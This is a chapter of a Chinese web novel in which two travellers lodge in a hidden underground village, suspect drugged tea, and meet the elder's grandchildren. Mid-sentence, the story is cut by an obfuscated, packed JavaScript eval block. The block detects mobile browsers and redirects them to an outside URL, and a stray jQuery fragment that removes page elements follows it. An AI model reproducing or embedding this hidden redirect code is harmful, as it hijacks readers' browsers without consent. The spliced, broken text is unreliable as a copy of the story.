10. 雾里看花
作品:《西洲鸢尾》 见秦长老发话,虞鸢似乎还有些顾虑,谢微坐在一旁握住她的手,无言的温热从掌心传来,最终她温婉地笑笑:“那便多谢长老了。”
长老站在厅堂上首,将她的反应尽收眼底。
他双手一并支着那根黄花梨拐棍,沉声道:“随我来吧。”
地下村落不算大,长老将他们带到西南角的一方小屋前:“二位先住在这儿,有什么需要的,就到那间院子里找我。五日之后,不论有何难处,都请你们离开。”
虞鸢点头称是,目送着长老离去。
身后谢微倚在右边围墙上,眉眼弯弯:“如何,阿姐可瞧出什么门道了?”
虞鸢越过他,走到屋内寻了张木凳子坐下:“方才的茶里有东西。”她眉心微蹙,“我闻不出来,但不像毒,许是一些不传的迷药。”
谢微边听边将大门合上,待他走近了,虞鸢又问:“你可知晓如今的时辰?”
“我们落下坑洞时,月亮刚有西沉之势,到现在应该不过丑时。”谢微想了想,答。
“还在夜里么。”虞鸢一手支着下颌,懒洋洋道,“这地底全靠烛台照明,往后怕是不太好知道时间了,长此以往,还挺消磨人的。”
没等谢微应声,她又长出一口气:“之前在长老那,我唤你淮山,他对北晋太子的名讳,竟也没什么特别的反应,这里的人,应该是真的与世隔绝很久了。”
谢微走到她身后,手指按上虞鸢的太阳穴,轻轻摩梭着:“他和那位卫姓老翁交谈时,尚有几分鲜活气,可等到你我问询是否能留下时,他身上又隐约有一股煞气浮现。”
“脾性可以遮掩,但气息骗不了人,他是上过战场的。”
虞鸢若有所思,扭过头看他:“如此说来,地方倒是找对了。”
*
篱笆院内,长老面色阴沉地坐在藤椅上。
那位姓卫的老翁也在,提着虞鸢他们没有喝的那壶茶,乐呵呵道:“远山啊,最近有不少人盯上这里,你要当心。”
秦远山,也就是秦长老,凝重地盯了他一眼:“卫风,他们是破了九星阵下来的。”
他起身来到角落的石台前,看着石台上摆放的棋盘,用手拈起一粒白子:“当年公主留下的阵法,竟然被两个年轻人给破了。”
卫风仍提着茶壶:“这就是你给他们下黄粱香的理由?”
秦远山:“送他们美梦一场,有何不好?”
卫风抚掌大笑:“好极了,可人家不吃你这套,你这茶水都凉了,也没见少啊。”
“哼。”秦远山冷笑,“西南角的那间院子,满屋烛台里都是黄粱香,能够在不知不觉中陷入永恒的长眠,便宜他们了。”
“嘁,你这脾气。”卫风嗤了一声,“九星阵是公主所作封山大阵中的第二阵,寻常人解过这阵根本到不了地底。这两名年轻人可不简单,你别一把年纪阴沟里翻船,丢人哪。”
“更何况……”他逐渐正色,“再过五日就是祭祀公主的日子,飞镜和雾花还没回来,山外又不知道为什么聚了一堆莫名其妙的人,今年怕是不太平啊。”
闻言,秦远山脸上闪过一丝悲凉的恨意:“太平如何,不太平又如何!这是公主留下的最后一点基业了,就算拼了这条命去,你我都要守好它。”
“……”
*
那边筹谋算计,这厢院落内,虞鸢和谢微仍在商讨。
“我还有一事不明。”她低声说着,“之前越帝教我来和亲,说的是北晋与我母族有关。母亲当年作为孤女被他带进皇宫,宫中之人对此都讳莫如深,这些年来,我一直想查清她自缢的原因。”
谢微和虞鸢相依为命过三年,当即知晓她的意思:“阿姐可是不明了此地和纯妃娘娘是否有关联?”
虞鸢点头:“按照越帝的说法,母亲曾向家中去信一封,收到回信后没多久便自戕了。”
“依着我对他的了解,大概率是他想从母亲身上得到什么未果,如今又想借我之手。若说有什么珍宝能让他如此,也只有大泽山符合了,可一日下来,我仍没找到什么头绪。”
谢微轻叹一声:“此前听阿姐说姬苍生想要钧山剑,还以为又是他给阿姐派了任务,是我狭隘了。”
虞鸢笑了笑:“观主现下应该在翠微山,他确实对钧山剑感兴趣,等他得手,大概会来和我们会合。”
谢微安抚地拍了拍她的肩:“那位秦长老虽然看起来对我们敌意不小,但他在地底这么久,应当会知道些什么,再或者,纯妃娘娘本就来自于这里呢?”
“自从翠微山拜帖发出后,这地方就被人盯上了,长老应是把我们当成了寻宝之人,不请自来是为贼,他心有防备也是正常。”虞鸢苦笑了下,“可我总觉得心里一阵空落落的。”
“母亲留存于世的名字,还是越帝带她走后新起的。我对她的了解太少了,少到真相近在眼前,却不知要从何问起。”
谢微不忍见她这样忧心:“纯妃娘娘去的早,并非阿姐的过错。左右地方已经找到了,若还是不行,等出去后我带些兵来,一一审问过去,总有知道事儿的。”
“哎。”虞鸢被他一搅和,心上轻松不少,她转身递了个瓷瓶给谢微,“从菩提道顺来的百解丹,迷香闻久了到底对身子不好。”
谢微收下后,盯着烛台看了半晌,问道:“你说,他们会人为的分出昼夜来吗?”
事实证明,地底常年灯火通明,并未有昼夜的差分。
二人算着时间勉强歇了一夜,等到醒来时,周围仍是同样的烛光,经久不息。
“这烛芯不知是用什么做的,灭也灭不掉,就这样一直烧着。”虞鸢凑近端详了一会,说。
谢微正欲答话,忽然听见屋外一阵骚动,推开门后,看见地底的住民们都在向一个方向涌去。
他心下讶异,忙将虞鸢喊过来,隐在人群中一起往前走。
人群熙熙攘攘,最终在东北角停下。这个角落里没有盖房子,而是沿着土墙起了座小门,不一会门开了,从中走出一对男女来。
男人身着靛蓝长袄,腰间挂着柄弯刀,女子则一袭绯红罗裙,手持九节软鞭。
秦远山站在最前方,不知道说了些什么,一时间人群沸腾起来。
“飞镜少爷,这次回来待几日啊!”喧闹之中,虞鸢听见身旁的青年大声呼喊,在他右侧一位女子也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274171|166668||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舞着手中的绸缎:“雾花,外面的世界好不好玩呀!”
“飞镜……?”千言万语间,虞鸢敏锐的捕捉到了这个名字,“这不是你从前骗我时假借的身份吗?”
谢微也很是诧异:“秦飞镜?他前些日子和我告假返乡,怎的返到这里来了。”
“他姓秦,那位长老也姓秦,这是,才下雨就有人送伞来了。”虞鸢眯着眼,向前方被簇拥着的两人看去。
热闹过一阵后,众人逐渐散开,秦飞镜跟在长老身后,路过仍站在原地的谢微时,噌的一下停住了。
“太……”他像白日见鬼一般,一声太子殿下正要脱口而出,却被谢微眼神制止住了。
秦远山此时才发现他们,也不惊讶,语气慈祥地介绍道:“这是昨日误入此地的客人,借地暂住几日。”
说完,他又转向虞鸢:“这是飞镜,我的孙儿,旁边是雾花,我的孙女。年轻人心思活泛,耐不住地底的生活,总想着出去闯荡,今天是他们约定好回来的日子,所以大家都出来看看。”
秦飞镜像是还有点恍惚,没有回话,倒是秦雾花脸上扬起天真的笑意,脆生生道:“你们好呀。”
虞鸢也笑了:“长老心善,教出来的二位也是青年才俊,我与淮山就不多打扰你们叙旧了。”
说罢,她拉着谢微回到屋中,约莫半个时辰后,窗外响起“笃笃”的敲门声。
“末将秦飞镜,参见太子殿下。”秦飞镜仍穿着那身靛蓝色的袄子,应该是和长老叙话后立刻就赶了过来。
谢微仍坐着,看见他后略微颔首:“说说吧,怎么回事。”
秦飞镜神色恭谨:“此地名为桃源乡,是属下的家乡,当年我独自离家闯荡,幸得殿下赏识进入飞羽军,而后每年都会抽空回来一趟,前阵子和殿下告假,也正是为了此事。”
“孤想听的,不是这个。”谢微语气平缓,却是不怒自威。
对方保持着跪地的姿势,附身下拜:“请殿下恕罪,余下的,属下不能再说。”
听见他如此说,谢微也不生气,视线随意瞥过地上跪着的男子,然后道:“你该知道,孤手上没有不能开口的人。”
秦飞镜作为飞羽将之首,自然知晓谢微的手段,他一时间不敢抬头,冷汗从额间滑落,手上青筋鼓起,却还要强撑着保持缄默。
“好啦,别吓他了。”轻笑声从一旁传来,虞鸢走到秦飞镜身前:“这个不能说的话,说点别的吧,比如……你那位妹妹?”
“九霄宫蓝青玉座下三令使之一的雾花使,以长鞭为武器,善毒,曾孤身挑落江北七宗,自此闻名天下,为正道所不容。将军,我说的可对?”
闻言,秦飞镜骤然抬头,像是被戳破心事一般,气息都急促起来:“姑娘究竟想问什么?”
“没什么,就是有些好奇,如此人中龙凤的两人,居然都出自这幽深晦暗的地底。”她漫不经心地说着,“将军对这儿的秘密缄口不言,尚且情有可原,可江湖暗道的杀手出身于此,若传出去,怕是不太好收场啊。”
“当然,这里是将军的地方,你大可选择将太子和我永远留在这,从此高枕无忧。可是,你能吗,你敢吗?”